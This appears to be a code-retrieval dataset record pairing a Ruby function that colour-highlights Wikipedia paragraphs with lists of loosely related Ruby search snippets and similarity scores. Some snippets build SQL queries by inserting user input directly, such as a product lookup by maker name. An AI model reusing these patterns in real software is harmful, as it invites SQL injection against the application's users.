mark(keywords)\n end", "def search_results\r\n @browser.divs(class: 'rc').collect do |div|\r\n div.h3.a.text\r\n end\r\n end", "def index\n @keywords = Keyword.rank.page params[:page]\n @keyword_indices = KeywordIndex.all\n end", "def blacklight_keyword_search_url(request, options = {})\n options[:format] ||= \"atom\"\n options[:content_format] ||= \"marc\"\n \n clauses = []\n\n # We need both title and author to search keyword style, or\n # we get too many false positives. Except serials we'll do\n # title only. sigh, logic tree. \n \n # Also need to use appropriate 'container' title if avail, not\n # article title. \n metadata = request.referent.metadata\n title = metadata['jtitle'] \n title = metadata['btitle'] if title.blank?\n title = metadata['title'] if title.blank?\n # remove sub-title for better search\n title.gsub!(/\\:.*\\Z/, '') if title\n\n author = get_top_level_creator(request.referent)\n return nil unless title && (author || (@bl_fields[\"serials_limit_clause\"] && title_is_serial?(request.referent)))\n # phrase search for title, just raw dismax for author\n # Embed quotes inside the quoted value, need to backslash-quote for CQL,\n # and backslash the backslashes for ruby literal. \n clauses.push(\"#{@bl_fields[\"title\"]} = \\\"\\\\\\\"#{escape_for_cql_double_quotes title}\\\\\\\"\\\"\") \n clauses.push(\"#{@bl_fields[\"author\"]} = \\\"#{escape_for_cql_double_quotes author}\\\"\") if author\n \n url = base_url + \"?search_field=#{@cql_search_field}&content_format=#{options[:content_format]}&q=#{CGI.escape(clauses.join(\" AND \"))}\"\n\n if (@bl_fields[\"serials_limit_clause\"] &&\n title_is_serial?(request.referent)) \n url += \"&\" + @bl_fields[\"serials_limit_clause\"]\n end\n \n return url\n end", "def index\n @suspicious_keywords = SuspiciousKeyword.all\n end", "def search_content\n \"#{body}\"\n end", "def keywords\n\t\t\t\treturn [\n\t\t\t\t\tsuper,\n\t\t\t\t\t@data['keywords_self'],\n\t\t\t\t\tPLAYER.current_room.keywords_neighbors(get_classname)\n\t\t\t\t].flatten.reject { |x| !x }\n\t\t\tend", "def search_results\n @found_products = Product.keyword_search(params[:search_keywords])\n # keywords = \"%\" + params[:search_keywords] + \"%\"\n\n if @found_products.count == 0 \n flash.now[:alert] = \"Search not found\"\n end\n # @found_products = Product.where(\"name LIKE ?\", keywords)\n end", "def search_results\n @products = Product.where(\"name LIKE ?\", \"%#{params[:keywords]}%\")\n end", "def BuildKeywords(query, index, hits)\n assert { query.instance_of? String }\n assert { index.instance_of? String }\n assert { hits.instance_of?(TrueClass) || hits.instance_of?(FalseClass) }\n \n # build request\n request = Request.new\n # v.1.0 req\n request.put_string query # req query\n request.put_string index # req index\n request.put_int hits ? 1 : 0\n\n response = PerformRequest(:keywords, request)\n \n # parse response\n begin\n res = []\n nwords = response.get_int\n 0.upto(nwords - 1) do |i|\n tokenized = response.get_string\n normalized = response.get_string\n \n entry = { 'tokenized' => tokenized, 'normalized' => normalized }\n entry['docs'], entry['hits'] = response.get_ints(2) if hits\n \n res << entry\n end\n rescue EOFError\n @error = 'incomplete reply'\n raise SphinxResponseError, @error\n end\n \n return res\n end", "def index\n @keyword = params[:search]\n # Use previous keyword.\n if @keyword.nil?\n @keyword = session[:search]\n else\n session[:search] = @keyword\n end\n\n if @keyword.blank?\n @products = Product.all\n elsif @keyword.start_with? \"tag:\"\n tag = @keyword.sub(\"tag:\",\"\").split(' ', 2)[0].strip\n tag_suffix = @keyword.sub(\"tag:\",\"\").split(' ', 2)[1]\n if tag.blank?\n # 管理用の裏技 タグ名の指定がないときはタグが登録されていない商品をだす\n # ちょっと重たくなるかも\n @products = Product.all.select { |v| v.tags.count == 0 }\n else\n tag = Tag.where(code:tag).first\n @products = tag ? tag.products : []\n if(tag_suffix.present?)\n @products = @products.where(\"name like ?\",\"%#{tag_suffix}%\").or(@products.where(\"copy like ?\",\"%#{tag_suffix}%\")).or(@products.where(\"size like ?\",\"%#{tag_suffix}%\"))\n end\n end\n elsif @keyword.start_with? \"maker:\"\n maker = @keyword.sub(\"maker:\",\"\").strip\n @products = Product.where(\"maker = '#{maker}'\")\n elsif @keyword.to_i == 0\n @products = Product.where(\"name like ?\",\"%#{@keyword}%\").or(Product.where(\"copy like ?\",\"%#{@keyword}%\")).or(Product.where(\"size like ?\",\"%#{@keyword}%\"))\n else\n @products = Product.where(code: @keyword)\n end\n if(@products.count > 0)\n @products = @products.page(params[:page])\n end\n if params[:print]\n render action: 'index4printing', layout: false\n end\n end", "def show_keywords (url, keywords)\n if keywords.nil?\n puts \"Warning: (#{url}) needs keywords.\"\n else\n puts \"The url's (#{url}) Keywords are:\" \n keywords.split(',').each do |keyword|\n puts \"keyword: #{keyword}\"\n end\n end\nend", "def index\n @spec_keywords = SpecKeyword.all\n end", "def keywords\n @keywords ||= keyword_class.find(:all, :params => {\n :watched_domain_id => self.id })\n end", "def generate_keywords\n all_keywords = {\n minions: [],\n tokens: [],\n mechanics: []\n }\n\n pt = plain_text.downcase\n\n Mechanic.names.each do |mechanic|\n next unless pt.include?(\" #{mechanic.downcase}\") || pt.include?(\"#{mechanic.downcase} \")\n\n p mechanic.downcase\n all_keywords[:mechanics].push(mechanic)\n pt.slice!(mechanic.downcase)\n end\n\n Card.names.each do |name|\n next unless pt.include?(\" #{name.downcase}\") || pt.include?(\"#{name.downcase} \")\n\n p Card.find_by(name: name).name\n all_keywords[:minions].push(name)\n pt.slice!(name)\n end\n pt\n end", "def get_results()\n restriction_nodes = []\n result_nodes = []\n if !(@inputs.nil? || @inputs.empty? || @inputs.first.empty?)\n input_set = @inputs.first\n restriction_nodes= input_set.nodes\n result_nodes = input_set.breadth_first_search(true){|node| node.item.text.downcase.include?(@keyword_phrase.to_s.downcase)} \n end\n \n if !@inplace\n results = @server.match_all(parse_keyword_phrase(), restriction_nodes) \n result_nodes = results.map{|item| Xplain::Node.new(item: item)}\n end\n \n result_nodes\n \n end", "def create_keywords\n\n keywords = t(LOCALE_KEYWORDS_KEY, default: SiteMetaInfoDefaults.keywords)\n business_cats = BusinessCategory.pluck(:name).uniq\n\n cats_str = business_cats.empty? ? '' : ', ' + business_cats.join(', ')\n keywords + cats_str\n end", "def search(keywords, *fields)\n return all\n end", "def extract_keywords\n self.keywords = Alice::Parser::NgramFactory.filtered_grams_from(self.text).flatten.uniq\n end", "def ar_search_results tags= {}\n if !@query || @query.empty? \n result= controller.ardata.labels[:ask_for_search_terms]\n elsif @search_results && @search_results.total_hits > 0\n\n result= sprintf(controller.ardata.labels[:search_results_summary], \n @search_results.total_hits, @query)\n \n items= @search_results.inject([]) do |elems_array, elem|\n elems_array << content_tag(tags[:item] || :li, ar_transform_search_result(elem))\n end\n\n result= \"#{result}\\n#{content_tag(tags[:items] || :ul, items.join(\"\\n\"))}\"\n else\n result= sprintf(controller.ardata.labels[:search_results_summary], 0, @query)\n end\n \n content_tag(tags[:enclose] || :p, result)\n end", "def index\r\n params[:page] = params[:page].blank? ? 1 : params[:page]\r\n @category = KeywordCategory.find(params[:cat]) unless params[:cat].blank?\r\n\r\n if @category\r\n @keywords = @category.keywords\r\n sort_keywords unless @category.sorted_keywords.blank?\r\n else\r\n @keywords = Keyword.includes([:keyword_category]).order_by(:title.asc).page(params[:page]).per(20).cache\r\n end\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @keywords }\r\n format.json { render :json =>@keywords }\r\n end\r\n end", "def meta_keywords\n\t\t\"Add your keywords here. Find me in application_helper.rb\"\n\tend", "def search(word, options)\n session.options = adapt_to_dev_env(options)\n session.get(\"/publications?keyword=#{CGI.escape(word)}\")\n end", "def get_project_keywords(query_obj=nil)\n uri = URI.parse(@uri + \"/ProjectKeywords\")\n results = get(uri,query_obj)\n end", "def search\n @links = Link.search do\n keywords params[:query]\n end.results\n\n respond_to do |format|\n format.html { render :action => \"index\" }\n format.json { render :json => @links }\n end\n end", "def browse_information(keyword)\n \t\tpage = keyword.browse_page(keyword.name)\n \t\tkeyword.create_google_search_page(page)\n \t\tpage\n \tend", "def search_by_keyword(query, o={})\n #debugger\n #debug \"[search_by_keyword] query = #{query}\"\n result = Sunspot.search(Item) do\n keywords query\n if o[:doc_only]\n without :itype_str, Item::ITYPE_CONCEPT#['query','concept','tag']\n end\n #debugger\n o.find_all{|k,v|k.to_s =~ /^facet\\_/}.each do |e|\n #debugger\n with (e[0].to_s.split('_')[1..-1].join('_')).to_sym, e[1] if [e[1]].flatten.first != '-1'\n end\n #debugger\n order_by(:basetime, :desc) if o[:order] == \"recency\" || query == TEXT_DUMMY\n paginate(:page => o[:page], :per_page => o[:per_page]) if o[:page]\n facet(o[:facet]) if o[:facet]\n without :hidden_flag, '1'\n end\n #debugger\n if o[:facet]\n result.facet(o[:facet]).rows\n elsif o[:raw]\n result\n else\n result_items = result.hits.map_with_index{|e,i|{:id=>e.instance.id, :rank=>(i+1), :score=>e.score}}\n @cv.add(:type=>'kwd', :query=>query, :created_at=>(o[:created_at] || Time.now), :history_id=>o[:history_id], :result=>result_items) if o[:add_context]\n result_items\n end\n end", "def keywords\n if @model\n return @keywords || @model.keywords || Keywords.empty_keywords\n end\n @keywords || Keywords.empty_keywords\n end", "def search\n @listings = Listing.search do\n keywords params[:query]\n end.results\n\n respond_to do |format|\n format.html { render :action => \"show\" }\n format.xml { render :xml => @listings }\n end\n end", "def online_docs(word)\n \"<a title=\\\"Search Adobe for #{word}\\\"\n href=\\\"http://community.adobe.com/help/search.html?q=#{word}&x=0&y=0&lbl=flex_product_adobelr&site=communityhelp_platform_aslr&hl=en_US&self=1&area=0\\\">Search Livedocs</a>\"\n end", "def index\n @notes = nil\n @keywords = (params[:search]||'').split(' ')\n\n @notes = Note.with_fulltext(@keywords).paginate :page => params[:page], :per_page => 5, :order => 'created_at desc'\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @notes }\n end\n end", "def show_keywords (keywords)\n unless keywords.nil?\n puts \"Your Keywords are:\"\n keywords.split(',').each do |i|\n puts \"keyword: #{i}\"\n end\n end\nend", "def call\n Success(\n JSON.parse(decode(@params['keywords']))\n )\n rescue StandardError\n Failure(\n Response::ApiResult.new(\n status: :bad_request,\n message: 'Keywords not found'\n )\n )\n end", "def describe_search_if_present\n if params[:q].present?\n return \"matching &ldquo;#{h params[:q]}&rdquo;\".html_safe\n end\n end", "def search(keyword)\n $logger.info(\"HomePage: search for #{keyword}\")\n search_field.send_keys keyword\n search_field.submit\n FreelancerSearchResultsPage.new(@driver, $logger)\n end", "def search_results\n @keyword = params[:keyword]\n \n @products = Product.where(\"name LIKE ?\", \"%#{@keyword}%\")\n end", "def search_words(query)\n query = query.downcase\n\n if query.contains_japanese?\n words = search_words_by_literals(query, 50)\n\n else\n words = search_words_by_senses(query, 50)\n\n if words.size <= 10\n extra_words = []\n\n extra_words += search_words_by_literals(query.hiragana, 20)\n extra_words += search_words_by_literals(query.katakana, 20)\n extra_words.sort! { |w1, w2| w1.score <=> w2.score }\n\n words += extra_words\n end\n end\n\n words\n end", "def search_for(keywords, options = {})\n solr_server.find(keywords, options.merge(:results => PublicEarth::Search::PlaceResults))\n end", "def auto_by_boosted_keywords\n\n rows = 10\n page = params[ :page ] ||= 1\n\n @entry = Class.const_get( params[ :entry_type ].camelcase ).find( params[ :entry_id ] )\n\n query = \"\"\n str = @entry.boost_keywords\n\n #debugger\n if str\n query = str.gsub( /,/, \" \" )\n else\n render :text => \"<p><b>This entry has no boost keywords associated with it. Please add some using the link above.</b></p>\"\n return\n end\n\n @items = @entry.auto_search :highlight => true\n \n# # solr uses start / offset, and will paginate uses page. we convert those\n# # paging params here.\n# # determine the start and offset based on page and number of total result docs.\n# if page.to_i == 1\n# start = 0\n# else\n# start = ( page.to_i - 1 ) * rows.to_i\n# end\n#\n# path = \"/solr/select?q=#{CGI.escape(query)}\"\n# path += \"&fq=%2Bmaxwell_document_type:item\"\n# path += \"&start=#{start}&rows=#{rows}\"\n# path += \"&qf=item_title^100+search_keywords^100+mlt_content^100\"\n# path += \"&ps=100&qs=100\"\n# path += \"&mm=1&qt=dismax&wt=ruby\"\n# path += \"&hl=true&hl.requireFieldMatch=true\"\n#\n# #path += \"&echoParams=all\"\n#\n# # our response comes back as a modified JSON result set, already set up for\n# # east eval into a ruby data structure.\n# RAILS_DEFAULT_LOGGER.info \"Path: #{path}\"\n# @response, @data = @@HTTP.get( path )\n# @solr_result = eval( @data )\n#\n# RAILS_DEFAULT_LOGGER.info \"Response: #{@response}\"\n# RAILS_DEFAULT_LOGGER.info \"Response: #{@data}\"\n#\n# total_results = @solr_result[ 'response' ][ 'numFound' ]\n# if total_results.to_i > 0\n# @fake_result = WillPaginate::Collection.new( page, rows, total_results )\n# ids = Array.new\n# @solr_result[ 'response' ][ 'docs' ].each { |d| ids << d[ 'item_id' ] }\n#\n# # remember that we are just doing an id search, so we need to be explicit about\n# # the sort order.\n# @items = Item.find( :all, :conditions => \"items.id IN ( #{ids.join( ',' )} )\", :include => [ :source ] )\n# end\n\n end", "def extract_all_words(html)\n doc = Nokogiri::HTML(html)\n keywords = []\n doc.css(\"meta[name='keywords']\").each do |node|\n keywords += node['content'].gsub(/\\s+/, \" \").gsub(/[^a-zA-Z\\- ',]/, '').squeeze(\" \").split(\",\")\n end\n text = String.new\n doc.css(\"meta[name='description']\").each do |node|\n text += node['content']\n end\n \n %w(script style link meta).each do |tag|\n doc.css(tag).each { |node| node.remove }\n end\n\n w = []\n doc.traverse do |node|\n if node.text? then\n w << node.content + \" \"\n end\n end\n text += w.join.gsub(/\\s+/, \" \").gsub(/[^a-zA-Z\\- ']/, '').squeeze(\" \")\n words = (text.downcase.split - STOPWORDS)\n \n final = (keywords + words)\n final.map do |w|\n w.stem\n end\n end", "def search\n @query = params[:keywords].nil? ? \"\" : params[:keywords]\n\n # prepare filters\n filters = apply_filters\n\n # do the search itself\n ultrasphinx_search(filters)\n params[:filter] = false;\n\n respond_to do |format|\n format.html { render :partial => 'dt/projects/search_results', :layout => 'layouts/dt_application'}\n end\n end", "def search_form\n %@<form accept-charset=\"UTF-8\" action=\"#{view_context.search_index_path}\" id=\"search\" method=\"get\">\n <div class='field'><input id=\"q\" name=\"q\" value=\"#{params[:q]}\" type=\"text\" class=\"textbox\" /></div></form>@.html_safe\n end", "def search keyword, opts = {}\n get '/v1/search/illust', {\n **SEARCH_DEFAULT_OPT,\n word: keyword,\n **opts\n }\n end", "def keyword_conditions\n unless keyword.blank?\n searchable_columns = %w(title description justification project_number) # add any freetext-searchable fields here\n keyword.strip!\n search_str = searchable_columns.map { |x| \"#{x} LIKE :keyword\"}.to_sentence(:words_connector => \" OR \", :last_word_connector => \" OR \")\n CapitalProject.where(search_str, :keyword => \"%#{keyword}%\")\n end\n end", "def keyword_queries\n unless(@keyword_queries)\n @keyword_queries = {}\n\n return @keyword_queries unless @params[:search_field] == ::AdvancedController.blacklight_config.advanced_search[:url_key]\n \n config.search_fields.each do | key, field_def |\n if ! @params[ key.to_sym ].blank?\n @keyword_queries[ key ] = @params[ key.to_sym ]\n end\n end\n end\n return @keyword_queries\n end" ]
[ "0.6724493", "0.6713757", "0.6713757", "0.66945124", "0.66886145", "0.6437545", "0.6437545", "0.6419276", "0.6298172", "0.62597424", "0.6202679", "0.6199342", "0.6177509", "0.6115119", "0.60829496", "0.6081127", "0.6070663", "0.606858", "0.6061767", "0.60485655", "0.6038458", "0.6009102", "0.6007873", "0.59120756", "0.5886141", "0.5886134", "0.5886134", "0.5886134", "0.5886134", "0.5886134", "0.5886134", "0.5886134", "0.5883654", "0.5864374", "0.58541435", "0.583245", "0.57979727", "0.57644457", "0.5756335", "0.57213575", "0.57205987", "0.57202125", "0.5718586", "0.57131994", "0.5712811", "0.5703149", "0.5697545", "0.5687296", "0.5671527", "0.5662266", "0.56501806", "0.56448734", "0.5640694", "0.5635639", "0.5623846", "0.5620205", "0.5614755", "0.5595949", "0.55935717", "0.55907935", "0.55880064", "0.55727404", "0.5567981", "0.55621564", "0.55554014", "0.5549971", "0.5542655", "0.5539967", "0.55305064", "0.5529725", "0.552063", "0.5514224", "0.551201", "0.55116904", "0.5504331", "0.54787433", "0.5469078", "0.5465414", "0.546537", "0.546282", "0.546214", "0.546064", "0.5460444", "0.5457935", "0.54571295", "0.5454748", "0.54514205", "0.54479", "0.54461133", "0.54450274", "0.5444524", "0.54243004", "0.5421626", "0.5418741", "0.5408788", "0.5408491", "0.54052883", "0.539779", "0.5397026", "0.5396894" ]
0.5773334
37
puts a colour aided wikipedia article to screen, with pnum the number of the paragraph
def paras(text, q, aA, aB, aC, aD, pnum = 0) common_words = ["the", "be", "of", "and", "a", "is", "to", "in", "he", "have", "it", "that", "for", "they", "I", "with", "as", "not", "on", "she", "at", "by", "this", "we", "you", "do", "but", "from", "or", "which", "one", "would", "all", "will", "there", "say", "who", "make", "when", "can", "more", "if", "no", "man", "out", "other", "so", "what", "time", "up", "go", "about", "than", "into", "could", "only", "these", "come", "these", "some", "then", "any"] #, "state", "only", "new", "year", "some", "take", "come", "these", "know", "see", "use", "get", "like", "then", "first", "any", "work", "now", "may", "such", "give", "over", "think", "most", "even", "find", "day", "also", "after", "way", "many", "must", "look", "before", "great", "back", "through", "long", "where", "much", "should", "well", "people", "down", "own", "just", "because", "good", "each", "those", "feel", "seem", "how", "high", "too", "place", "little", "world", "very", "still", "nation", "hand", "old", "life", "tell", "write", "become", "here", "show", "house", "both"] numberWords = ["one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten", "eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen", "twenty", "thirty", "forty", "fifty", "sixty", "seventy", "eighty", "ninety", "hundred", "thousand", "million", "billion", "trillion"] numberWords = Regexp.union(numberWords) aWords = [] aWords << aA << aB << aC << aD qWords = q.split(" ") allWords = aWords + qWords text = text.scan(/(\<p\>)(.*?)(\<\/p\>)/m).map(&:join)[pnum] writtenNumbers = [] puts "allWords = " + allWords.to_s text.gsub!(/<\/?[^>]*>/,"") text.gsub!(/(&#160;)/,"") text.gsub!(/(\[\d+\])/,"") writtenNumbers = text.downcase.scan(/\b#{numberWords}(?:(?:\s+and\s+|\s+)#{numberWords})*\b/i) writtenNumbers.concat text.scan(/\b[\d\.*,*]+\b/) puts "writtenNumbers = " + writtenNumbers.to_s aWords.each do |i| i2 = i.gsub(/(\?|\.|\,|\!)/,"") if common_words.include?(i2) == false text.gsub!(/\b#{i2}\b/i, orange(i2)) end end qWords.each do |i| i2 = i.gsub(/(\?|\.|\,|\!)/,"") if common_words.include?(i2) == false text.gsub!(/\b#{i2}\b/i, pink(i2)) end end writtenNumbers.each do |wnum| if wnum.numberize != 0 puts "wnum = " + wnum.numberize.to_s end allWords.each do |qora| if qora.numberize != 0 puts "qora = " + qora.numberize.to_s end if wnum.numberize < qora.numberize * 1.05 and wnum.numberize > qora.numberize * 0.95 text.gsub!(/\b#{wnum.to_s}\b/i, blue(wnum.to_s)) end end end return text end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def paragraphs(number: T.unsafe(nil), supplemental: T.unsafe(nil)); end", "def print_piece(piece, row_i, col_i, p_color, bg_color)\n if cursor?(row_i, col_i) # fuck yes let's refactor this even better, this changes the print color if the current position is the cursor position and two more choices on whether or not the cursor is selected which is exactly as the code should be fucking love it such good refactoring lol\n p_color = prnt_cursor\n if piece.is_a?(NullPiece) # if the cursor is currently over a NullPiece, if the cursor is selected, display the piece currently selected, otherwise display just a really fucking cool Khmer Unicode circle lol https://en.wikipedia.org/wiki/Khmer_(Unicode_block)\n @cursor.selected ? (piece = @board.grid[@cursor.start_pos[0]][@cursor.start_pos[1]]) : (piece = :៙)\n end\n end\n print Paint[\"#{piece.to_s} \", p_color, bg_color] # boom a single print line this is correctly factored code fucking amazing\n end", "def body_paragraph(num)\n puts \"#{num} little monkeys jumping on the bed,\nOne fell off and bumped his head,\nMama called the doctor and the doctor said,\n'No more monkeys jumping on the bed!'\n\n\"\nend", "def tell_Story(paragraph)\r\n puts paragraph\r\n end", "def paragraph; end", "def tell_Story(paragraph)\r\n puts paragraph\r\n end", "def wikipedia_summary_each(url, para_numbers)\n if !para_numbers.kind_of?(Array)\n para_numbers = para_numbers.to_s.scan( /\\d+/ )\n end\n doc = Hpricot open(url)\n section = para_numbers.inject(\"\") do |para, para_number|\n para += doc.at(\"p[\"+para_number.to_s+\"]\").to_html.gsub(/<\\/?[^>]*>/, \"\") + \" \"\n end\n return section.strip\n rescue Exception\n return nil\n end", "def output_paragraphs\n if @number <= self.class.total_included_paragraphs\n PARAGRAPHS[0, @number].join(\"\\n\\n\")\n else\n repeat = (@number / self.class.total_included_paragraphs.to_f).ceil\n (PARAGRAPHS * repeat)[0, @number].join(\"\\n\\n\")\n end\n end", "def draw_page_state\n return if @pages.size <= 1\n x = 0\n w = contents.width/2\n change_color normal_color\n contents.font.color.alpha = fp? ? 128 : 255\n self.draw_text(x, 0, w, line_height, \"<\")\n x += contents.text_size(\"<\").width + 5\n (0..@pages.size - 1).each { |i| x += draw_page_name(x, @pages[i]) }\n contents.font.color.alpha = lp? ? 128 : 255\n self.draw_text(x, 0, w, line_height, \">\")\n change_color(normal_color)\n end", "def prn\n puts \" #{(0..8).to_a.join(\" \")}\"\n puts \" #{'-' * (2 * 9)}\"\n g.each_with_index do |v, i|\n # ERROR: print function doesn't display values and doesn't use colors\n # puts \"#{i} #{v.join(\" \")}\"\n puts \"#{i} | #{v.map{|t| t.n.to_s.colorize(t.c) }.join(' ')}\"\n end\n end", "def pn\n format(COMMENT_PN, index + 1)\n end", "def paragraph(p,f)\n\t\n\t# Replaces everything that has <b>, </b>, etc.\n\tvalue = p.gsub(/<b>|<\\/b>|<a>|<\\/a>/, \"\")\n \tarr = value.split(/</)\n\n \t# Gets rid of anything else from .* to > \n \t# and fixes spaces between numbers\n\tarr.each {|x| x.gsub!(/.*>\\d*/, \"\"); \n\t\tx.gsub!(/\\&\\#\\d*\\;/, \" \"); }\n \t\n \tarr.each {|x|\n \t\tif x == arr[0] && x != \"\"\n \t\t\tf.write(\"\\t\" + x)\n\t \telsif x != \"\" && x != \"[\" && x != \"]\"\n\t \t\tf.write(x)\n \t\tend\n \t}\n \tf.write(\"\\n\")\nend", "def print_title\n type(\"ZJCRUMPTON PRESENTS:\".green.to_s, 'mid')\n print \"\n #{\"______ _ _ ______ __ _\n | | | \\\\ | | | | | | | \\\\ \\\\ \\\\ | |\n | |__| | | | | | | |--| < \\\\_\\\\_| |\n |_| \\\\_\\\\ \\\\_|__|_| |_|__|_/ ____|_|\".red}\n\n #{\"______ _ _ ______ ______ ______\n | | | | | | | | / | / |\n | | | |--| | | |---- '------. '------.\n |_|____ |_| |_| |_|____ ____|_/ ____|_/\".blue}\n\n \\n\\n\"\n end", "def prt\n puts \"Federalist #{@fedNum}\"\n puts \"Title: #{@fedTitle}\"\n puts \"Pub: #{@fedPub}\"\n puts \"Author: #{@fedAuthor}\"\n puts \"Date: #{@fedDate}\"\n puts \"\\n\"\n end", "def printi(text, n = 1)\n print idt(n) + text\n end", "def test_paragraph(x, y, width, paragraph)\n draw_formatted_text(x, y, width, paragraph, nil, true)\n end", "def write_page_text(text = @pagetext[@page], i = 0, newline_boundary = '',\n mode = :bestiary, text_width = :contents_width, l_x = 0)\n if @enemy && mode == :bestiary then draw_parameters\n else super(text, i, newline_boundary, mode, text_width, l_x) end\n end", "def paragraph(&block)\n section(:top => 1, :bottom => 1, &block)\n end", "def ipp(i, p, s) # print and shift\n %{ stdout_nchar #{p*WORD_SIZE}\n idp #{s*WORD_SIZE}\n} \n end", "def paragraph(&block)\n section(:top => 1, :bottom => 1, &block)\n end", "def prt\n puts \"Federalist #@fedno\\n\"\n puts \"\\n#@title\\n\"\n puts \"\\n#@author\\n\"\n puts \"\\n#@content\\n\"\n end", "def full_story\n puts \" This is your user story\".colorize(:color => :yellow)\n\n puts \"\n I walk through the color jungle. I take out my\n #{@adjective} canteen. There's a #{@adjective2} parrot with \n a #{@adjective3} #{@noun} in his mouth right\n there in front of me in the #{@adjective4}\n trees! I gaze at his #{@adjective5} #{@noun2}. A sudden \n sound awakes me from my daydream! A panther’s #{@verb} \n in front of my head! I #{@verb2} his #{@adjective6} \n breath. I remember I have a packet of #{@noun3} that \n makes go into a deep slumber! I #{@verb3} it away from me \n in front of the #{@noun3}. Yes he's eating it! I #{@verb4}\n away through the #{@adjective7} jungle. I meet my parents \n at the tent. Phew! It’s been an exciting day \n in the jungle.\"\n\n\n end", "def createcolor\n file = File.open('index3.html', 'w')\n puts 'Ingresa el primer párrafo'\n string1 = gets.chomp\n puts 'Ingresa el segundo párrafo'\n string2 = gets.chomp\n puts 'Ingresa un color'\n string3 = gets.chomp\n color = \"background-color:#{string3};\"\n file.puts \"<p style=#{color}>#{string1}</p>\\n<p style=#{color}>#{string2}</p>\"\n file.close\nend", "def pn\n \"#{DRAWING_PN % (index+1)}\"\n end", "def announce_part(part, indent = 0)\n extradash = '-' * (indent * 2)\n puts(Paint[\"#{extradash}----> #{part}\", \"#7AD25D\"])\nend", "def print_row(num)\n puts \" \" # Gives row margin\n\n @position_of_pieces.each do |piece|\n current_piece = piece[num]\n print make_piece(current_piece)\n end\n end", "def paragraphs(number: T.unsafe(nil)); end", "def print_this(win, text, color, x, y)\n raise \"win nil in print_this\" unless win\n color=Ncurses.COLOR_PAIR(color);\n win.attron(color);\n #win.mvprintw(x, y, \"%-40s\" % text);\n win.mvprintw(x, y, \"%s\" % text);\n win.attroff(color);\n win.refresh\n end", "def display\n self.print\n puts \"#{@headline} -- (Liked: #{@like_number})\"\n end", "def print_out(style, input)\n move_down style[:upper_space]\n font style[:font_variable], :style => $headline_chapter_font_style\n font_size style[:font_size_variable]\n text input\nend", "def print\n $web_page.puts \"\\t\\t<div class=\\\"document\\\">\"\n $web_page.puts \"\\t\\t\\t<a name='\" + @fed_number[2] + \"'></a>\"\n $web_page.puts \"\\t\\t\\t<h2>\" + @fed_number.join(' ') + \"</h2>\"\n $web_page.puts \"\\t\\t\\t<h3>\\n\\t\\t\\t\\t\" + @fed_title.join(' ') + \"\\n\\t\\t\\t</h3>\"\n $web_page.puts \"\\t\\t\\t<h4>\\n\\t\\t\\t\\t\" + @fed_date.join(' ') + \"\\n\\t\\t\\t</h4>\"\n $web_page.puts \"\\t\\t\\t<h4>\\n\\t\\t\\t\\t\" + @fed_place.join(' ') + \"\\n\\t\\t\\t</h4>\"\n $web_page.puts \"\\t\\t\\t<div class=\\\"author\\\">\"\n $web_page.puts \"\\t\\t\\t\\t<img class=\\\"icon\\\" src=\\\"images/author.svg\\\" alt=\\\"Icon\\\">\"\n $web_page.puts \"\\t\\t\\t\\t<h4>\" + @fed_author.join(' ') + \"</h4>\"\n $web_page.puts \"\\t\\t\\t</div>\"\n $web_page.puts \"\\t\\t\\t<p>\\n\\t\\t\\t\\t\" + @fed_text.join(' ') + \"\\n\\t\\t\\t</p>\"\n $web_page.puts \"\\t\\t</div>\\n\"\n end", "def pretty_text_pokemon(pokemon_ins)\n puts \"#{pokemon_ins.name.capitalize}\\n\"\n print \"Type: #{pokemon_ins.types_array[0].name.capitalize}\" \n print \"/#{pokemon_ins.types_array[1].name.capitalize}\" if pokemon_ins.types_array[1] \n puts \"\"\n puts \"\\n#{pokemon_ins.pokedex_entry}\"\n puts \"\\nHeight: #{(pokemon_ins.height * 3.937).round(2)} in / #{(pokemon_ins.height * 0.1).round(2)} m\"\n puts \"Weight: #{(pokemon_ins.weight / 4.536).round(1)} lb / #{(pokemon_ins.weight * 0.1).round(2)} kg\"\n end", "def w texte\n STDOUT.write \"<p>#{texte}</p>\"\nend", "def display\n if count_dracula > 0\n fill(255)\n elsif count_franken > 0\n fill(0)\n end\n # Its size is also tied to number of occurences\n fs = map1d(total_count, (5..25), (2..24.0))\n fs = (2..48).clip fs\n text_size(fs)\n text_align(CENTER)\n text(word, position[X], position[Y])\n end", "def print msg, color\n @text[2] = @text[1]\n @text[1] = @text[0]\n @text[0] = Message.new(msg, color, 18)\n end", "def subtitle_print(words)\n title = Artii::Base.new :font => 'slant'\n puts title.asciify(words).colorize(:blue)\n end", "def printtitle(name, nodes = nil)\n bar = ['#']\n 75.times { bar << '=' }\n puts MCollective::Util.colorize(:green, bar.join(''))\n puts MCollective::Util.colorize(:green, '# ' + name)\n puts MCollective::Util.colorize(:green, \"# Nodes: #{nodes.inspect}\") if nodes\nend", "def print_pt(n)\n\tmax_num = pt_nth_row_v2(n).sort.last.to_s.size\n\tl = 0\n\tpt_nth_row_v2(n).each do |int|\n\t\tl += int.to_s.size + max_num\n\tend\n\tn.times do |i|\n\t\tputs pt_nth_row_v2(i).join(\" \"*max_num).center(l) if i > 0\n\tend\nend", "def paragraph(text, options={})\n cur_page.paragraph(text, options)\n end", "def title(string)\n puts\n puts yellow(string)\n puts '-' * 80\nend", "def title(string)\n puts\n puts yellow(string)\n puts '-' * 80\nend", "def pluarlizer(num, noun)\n if noun == \"sheep\"\n p \"#{num} Sheep\"\n elsif noun == \"species\"\n p \"#{num} Species\"\n elsif num == 1 && noun == \"children\"\n p \"#{num} Child\"\n elsif num >= 2 && noun == \"children\"\n p \"#{num} Children\"\n elsif num > 1 && noun == \"geese\"\n p \"#{num} Geese\"\n elsif num == 1 && noun == \"geese\"\n p \"#{num} Goose\"\n elsif num >= 2 && noun == \"geese\"\n p \"#{num} Geese\"\n elsif num == 1 && noun == \"people\"\n p \"#{num} Person\"\n elsif num >= 2 && noun == \"people\"\n p \"#{num} People\"\n elsif num > 1\n p \"#{num} #{noun}s\"\n else\n p \"Something is wrong\"\n end\nend", "def title(string)\n puts\n puts yellow(string)\n puts \"-\" * 80\nend", "def write_a_p_rich(title, font) # :nodoc:\n @writer.tag_elements('a:p') do\n # Write the a:pPr element.\n write_a_p_pr_rich(font)\n # Write the a:r 